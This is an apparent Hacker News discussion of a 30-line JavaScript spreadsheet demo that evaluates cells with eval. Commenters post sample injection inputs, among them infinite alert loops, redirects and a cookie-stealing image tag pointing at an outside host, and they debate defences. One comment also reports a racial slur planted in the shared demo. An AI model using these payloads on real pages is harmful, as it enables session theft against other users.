Warning: Don't click it. This fiddle spams infinite javascript alerts.

Sorry for breaking it, I couldn't help it =/

A dangerously awesome feature: eval means it probably would support anon funcs.



Don't need to go that far:


Any javascript works. For example:


The line is saved in localStore, breaking the spreadsheet for future requests.

Ok, but where do I sign in with my Windows Live account?

Just waiting for the other 20,000 Excel features to be added. :)

This may sound like an inane comment, but trying working along Excel power users for the past two decades. Most people have no idea of the crazy, huge, complicated environment that is Excel.

Around my parts of the woods, people are very wary of putting an editable grid into a web-page.. because over years of maintenance, all editable grids tend towards excel, and excel has an infinite list of features for clients to request.

People abusing Excel really grinds my gears. Excel should pretty much be for financial/statistical computations only. People use it as a database, word processor, etc. which is just ridiculous.

Unfortunately, it works for them because people like the interface - i.e. a nicely modifiable grid of values. We're in dire need of an application that simplifies working with a database, and better table-editing tools in word processors.

The fact that you can put Javascript code which interacts with the cells is awesome.

For example you can put 10 in A1 and then put "=sum=0;for(i=0;i<A1;i++)sum+=i" in A2 to get the sum from 0 to 10. I really like this.

You may like, but it is an obvious security flaw. A 'real' product couldn't have this feature, at least not the way it is implemented here.

Please elaborate. ( i ask because i am writing a spreadsheet where every cell can be JSON or a JS expression )

What sort of vulnerabilities does this expose, besides letting the user shoot their feet repeatedly? Cross site scripting?

document.write('<img src="somedomain.com/?'+document.cookie);

But you'd need to send a spreadsheet with that to the victim.

Well yes, the idea is the sheet being open to a group of people for collaboration or whatever reason.

have you heard of the HttpOnly attribute for cookies?

good, send HttpOnly cookies and solve that problem. window.location.href='http://www.redt*be.com'; -- if you think evaluating JS code, as-is passed by the client is a good idea go ahead.

I most definitely will. and if my users want to browse your favorite porn site i don't see why i shouldn't let them..

Put it in a sandboxed iframe, serve it from a separate domain, and use a very restrictive CSP?

Yeah! Better replace it with VB and you've got no security probl... oh wait!

Really clever hack. Also looked around the original Angular spreadsheet the author offered as a inspiration, the 'hacky' components boiled down to this too parts:

1. Data binding.

Angular: ng-model, ng-controller, relying on Angular's magical $scope

This: custom defined object getter, essentially making the data resides in the DOM input elements (while keeping a copy in localStorage)

2. Expression evaluation

Angular: $parse service

This: 'with' and 'eval' in the same line. Despite its double 'evilness', this is really clever.

I used fair amount of excel that is the reason why I am commenting. Just because you can enter some numbers in cell you cannot call it a spreadsheet. The main problem I see in your spreadsheet is the data entry. After you enter something you have to hit tab. no other key works. The main feature for any spreadsheet should be ease of data entry. Also other feature should be selecting the cell with mouse (instead of entering A1 I should be able to select A1)

Just like Excel, this version allows you to program almost anything inside a cell. Try inserting =alert("foobar") in a cell :)


hey look, a page redirect :D

Just curious - shouldn't the events be attached to the parent table and delegated to the children inputs so you are not attaching the focus and blur events to each individual input? Similar to something like this: http://jsfiddle.net/W3Stf/

That is a cool improvement. The "focus" and "blur" events do not bubble, so I initially tried to evade event delegation - with respect to legacy event handling (attachEvent) that does not support the capture phase you used.

(but as you see, I soon switched to onevent-only approach, naturally)

Neat! Not quite the same thing, but see also this 9-line "spreadsheet" written in Python by Raymond Hettinger: http://code.activestate.com/recipes/355045-spreadsheet/

Very neat.

Thought I'd have a crack at doing something similar in Rebol. Here's my attempt:

  Rebol []
  ; Here's the beef!...  the spreadsheet object
  spreadsheet: context [
      update: func [block /local b] [
          b: compose/deep block
          bind b self   ; so action happens in object context
          do b
  ; make sheet with following cells
  ss: make spreadsheet [
      a1: 5
      a2: does [a1 * 6]
      a3: does [a2 * 7]
  ; simple usage example
  print ss/a3  ; => 210
  ss/a1: 6   
  print ss/a3  ; => 252
  ; use /update method to keep it within the objects context (needed for DOES)
  ss/update [a3: does [a1 + a2]]
  print ss/a3  ; => 42
  ; and compose in variables from current context, see (a1) 
  a1: 1000
  ss/update [a3: does [a1 + (a1)]]
  print ss/a3 ; => 1006
You could probably do something very similar in other prototype based object languages.

What concerns me about developing browser applications is the idea that there are precious few ways to protect your code. I know we all love open source, but sometimes you want or need just the opposite. Not sure there's a way to truly achieve that with JS (limitations or not).

I am impressed with it. However the biggest complexity in a real spreadsheet is the implementation of a correct evaluation of the graph of dependencies. This evaluate sequentially and if you have a cell with a formula that use following cells, it is not going to work :-/

This shows how far we've gone where we can write this kind of stuff easily.

However we have a long way to go. This would be nice for a start: http://vimeo.com/36579366

Bug reporting: entering "1 + 1" causes the cell to display "1"

Bug report: In Chrome Version 30.0.1599.101, an error is generated that prevents the app from running: "Uncaught SecurityError: An attempt was made to break through the security policy of the user agent. "

Works in Safari 7.

Obligatory CoffeeScript version: http://jsfiddle.net/hYfN3/759/

(Uses a regexp instead of `with` statement as CoffeeScript forbids with).

Aside from losing input when tabbing out, works a treat in Opera. Can think of a couple of places that a fork of this might come in handy in my work this week. Clever, thanks for sharing

it does a parseFloat() on the input, so input that can't be coerced into a float gets turned into NaN and not displayed.

Makes sense, hadn't even looked that closely at the code before I commented - all 30 lines of it, ha. Shame on me.

Looks like that particular problem has been fixed.

This is all fine and dandy until someone decides to exploit your use of eval:


Microsoft's business clientele success summarised in 30 lines of javascript. This is a really neat hack. Maybe Google will sample it to improve their spreadsheet performance.

Oh wow, adding functions is pretty straightforward: http://jsfiddle.net/hYfN3/315/

First thing I tried was "=alert()". While it worked, its tendency to block, recalculate, and persist with localStorage made it a bad idea, personally.

btw, do not use location.reload or you get a reload loop until manually deleting the entry in local storage

1. Take user generated content

2. eval()

3. ???

4. PROFIT! (for the person who stole data/identity, etc)

I'm not sure it's possible to steal your own identity.

I'd place a bet that someone will copy that code without understanding the risks involved, and then will hack together the ability to load and save data, and then complete the puzzle by enabling you to share it.


People copy code, the defaults should be safer. I know that wouldn't make it so elegant as it wouldn't fit in so few lines, but that's how you educate others on the risks and how to deal with those risks.

> I'd place a bet that someone will copy that code without understanding the risks involved, and then will hack together the ability to load and save data, and then complete the puzzle by enabling you to share it.

I'd place a bet that if this did happen, it would not be on a site that stores sensitive information. And even in the ridiculously unlikely case that it did, I would still not blame that on the Fiddle. This code is perfectly safe in the situation it's used in. The idea that minimal demos must cover every conceivable situation just seems really weird to me. Most places don't even generally require real production code to deal with out-of-scope situations. (For example, most Rails apps do not include code deal with the possibility that application_controller.rb has been replaced with malicious code even though that is a huge vulnerability if the Internet has write access to application_controller.rb. They rely on external measures to ensure that situation doesn't arise.)

> People copy code, the defaults should be safer.

There is no safer default to use here AFAIK.

No, but I'd be willing to try.

Oh well, didn't expect it to work but I had to try it:

0.1 + 0.2 = 0.30000000000000004

Awesome work either way. Would be nice to know how many lines of code Lotus 1-2-3 had.

Number of lines of code in Lotus is unrelated for many reasons which I hope are obvious.

It's nice to read and understand some javascript which doesn't involve a 3 hour youtube session on the latest framework. Cheers.

How does the circular reference prevention work ?

The getter is wrapped in a try/catch, so the circular reference hits the max call stack size and errors out silently.

Terribly efficient.

This + TideSDK for cross platform deployment (or just delivery in a browser, if you're happy with the insecurity) = Awesome.

30 lines of JS + 14 lines of HTML + 45 lines of CSS + 5,000,791 lines of browser rendering engine (WebKit in this case).

I am impressed, congrats. Next time some C++head jokes about JS I'll show them this (and some linux emulators)

Impressive. This shows how anything that can be written in Javascript will be written; and what cannot UX wise?

Then check this out: www.editgrid.com/untitled

It was built on 2005, with real-time collaboration, no library used.

It doesn't have pivot tables; therefore I don't see this as a viable replacement for Excel.

Interesting how it handles cyclic references only if the chrome dev console is not opened.

Fantastic! I'm trying to get stronger with my JS and this is really an inspiration.

Doing this makes it a lot less useable. =document.location="test"

orgmode's org-table.el is about 5k lines, including comments, and I never felt it lacked any features. It uses other libraries of course, and is rather dense lisp code.


This is really neat! Will play around.

Crash it with


How does jquery count as 'no library used'?

EDIT: I get it guys - I complained without reading carefully, sorry...

Where do you see any jQuery? I don't see any $ or jQuery, and if you look at the top left under "Frameworks & Extensions" it is set to "No-Library (pure JS)"

Perhaps the use of the more modern querySelectorAll threw you?


"$" replaced with "elm" to cause less confusion.

I apologise for my confusion and retract my moan.

I'm afraid I suffered from commenting without reading properly. In my defence, seeing $ signs everywhere shuts down the careful part of my brain.

jQuery is not used, $ is just used as a variable name.

There's no jquery here.

Nice, thanks for sharing

Some has scripted it to alternate between "Seriously though..." and "NIGGER"

How nice.

Input '=alert(/XSS/)'.. eval() is not a good choice.

That's cool!

Brilliant hack.

remove this urgently it has been hacked.


next challenge, Word in 30 lines

How about one line? <title>Notepad</title><body contenteditable style="font-size:3rem;line-height:1.4;max-width:60rem;margin:0 auto;padding:4rem;">

Just awesome

Awesome! :)


=alert("No protection in 30 lines of code.")

how does it count as xss when it is only affecting yourself and not other users?

very nice.

Ondřej Žára. I've seen that name before. Hmm. The guy behind a server side implementation of Javascript. I loved that concept and I still believe it has a huge potential.


Why, where are tons of cool Clojurescript with core.async?)

  =while(1) {alert("BOO")}

Probably the most misleading article name in the history.....

How so? Even some formulas work!

Although it is impressive that an app like this can be created in such few lines of code, I think it is a bad precedent as a programmer to have a goal to write as least as many lines as possible. It leads to hacks and unmaintainable code. I would rather have a method that has 10 lines of code that can be easily understood, then a method with one line of code that is only understood by the creator. That is not to say that one shouldn't focus as code reduction via re-usability, but one should always write code the can be understood by others.

This code isn't particularly hard to understand, and that's one of the things I was impressed with about it. If it were more than a demo, it would need comments to explain its cleverer bits, but on the whole, it's pretty cleanly written.

But I disagree that writing short programs for the sake of writing short programs is a bad thing. Sure, you need to recognize that you can't take all of the habits you get from it with you when doing stuff for production, but it can be a good goal when creating prototypes. One big advantage is that it prevents feature creep.

I wrote a library a while back called DelayedOp for wrangling async calls in JS. Originally it was 5 lines of CoffeeScript, and I actually used it in that form for a while. It's much bigger now and full of features to aid in debugging. The key is that by writing it minimally to begin with, I got something I could use and see what features I actually wanted to add. And while I mourn the elegance of those original five lines, I also realize that what it is now is far more useful and reliable.

My text disappears after I type it in and move on.

And why do you call a table an "excel-like" app? Can it so =SUM(); can it do search and replace or the over 9000 other features of excel? No... it's a table, with a editor.

It's 30 lines of javascript, what do you expect? This is a cool little project and the negativity is really unnecessary. The author could definitely have chosen a better description, but that is no reason to dismiss it outright.

Because it simulates a subset of excel functionality, namely the ability to reference values in other cells and automatic re-computation of changed and dependent values.

They made a fully functioning spreadsheet in 30 lines with no libraries. I'm sure adding more functions is possible... You could probably even figure out how to create a SUM function...

You can create your built-in functions as this:

var DATA={ SUM: function(a,b) { return a+b; } }

Nice demonstration of language features, like 'with', that we usually take as 'bad practices'.

These comments freak me out. Guys, come on... It's just 30 lines... Great job author, fascinating.

Sure you can, just add the function first:

function SUM() { var sum = 0; for (var i = 0; i < arguments.length; i++) { sum += arguments[i]; } return sum; }

Now you can do stuff like =SUM(A1, B1, C2) and it works like expected.

The language is javascript, not excel's, but you can do sum if you like: [A1, A2].reduce(function(a, b){ return a + b; });

You could, of course, write a sum function, and reference it wherever you like.

Ah yes, that's actually an interesting side effect of the eval strategy that I didn't realize myself yet. Nice!

On one side I'm like come on guy, it's impressive.

On the other, I imagine some PM is going to read this and expect their developers to get a google docs competitor out in a day!

=A1+A2 works for me.

try "=1+2"

doesn't seem to work - it remains as text, instead of giving 3.

It works, but only in reasonably modern browsers. Which one do you use?

Click on another cell rather than pressing enter.

Applications are open for YC Winter 2021

Guidelines | FAQ | Support | API | Security | Lists | Bookmarklet | Legal | Apply to YC | Contact